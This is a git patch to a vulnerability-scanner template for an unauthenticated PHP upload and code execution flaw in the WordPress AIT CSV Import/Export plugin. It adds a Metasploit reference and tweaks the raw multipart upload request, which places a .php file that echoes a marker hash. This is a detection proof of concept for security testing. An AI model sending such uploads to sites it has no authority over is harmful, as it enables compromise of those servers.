From b2be30c340935484486c039cbc3be8c83daed686 Mon Sep 17 00:00:00 2001
From: Prince Chaddha <prince@projectdiscovery.io>
Date: Mon, 23 May 2022 14:04:27 +0530
Subject: [PATCH] Update ait-csv-import-export-rce.yaml

---
 vulnerabilities/wordpress/ait-csv-import-export-rce.yaml | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/vulnerabilities/wordpress/ait-csv-import-export-rce.yaml b/vulnerabilities/wordpress/ait-csv-import-export-rce.yaml
index 9e34438888..00facc835f 100644
--- a/vulnerabilities/wordpress/ait-csv-import-export-rce.yaml
+++ b/vulnerabilities/wordpress/ait-csv-import-export-rce.yaml
@@ -4,14 +4,16 @@ info:
   name: WordPress AIT CSV Import Export - Unauthenticated Remote Code Execution
   author: gy741
   severity: critical
-  description: The AIT CSV Import/Export plugin <= 3.0.3 allows unauthenticated remote attackers to upload and execute arbitrary PHP code. The upload-handler does not require authentication, nor validates the uploaded content.
+  description: |
+    The AIT CSV Import/Export plugin <= 3.0.3 allows unauthenticated remote attackers to upload and execute arbitrary PHP code. The upload-handler does not require authentication, nor validates the uploaded content.
   reference:
     - https://wpscan.com/vulnerability/10471
+    - https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/http/wp_ait_csv_rce.rb
   classification:
     cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
     cvss-score: 9.8
     cwe-id: CWE-434
-  tags: wordpress,wp-plugin,rce,upload,unauth,ait-csv
+  tags: wordpress,wp-plugin,rce,upload,unauth,ait-csv,wp
 
 requests:
   - raw:
@@ -25,7 +27,7 @@ requests:
         Content-Disposition: form-data; name="file"; filename="{{randstr}}.php"
         Content-Type: application/octet-stream
 
-        <?php echo md5('ait-csv-import-export-rce');?>
+        sep=;<?php echo md5('ait-csv-import-export-rce');?>
 
         --------------------------ab360007dbae2de8--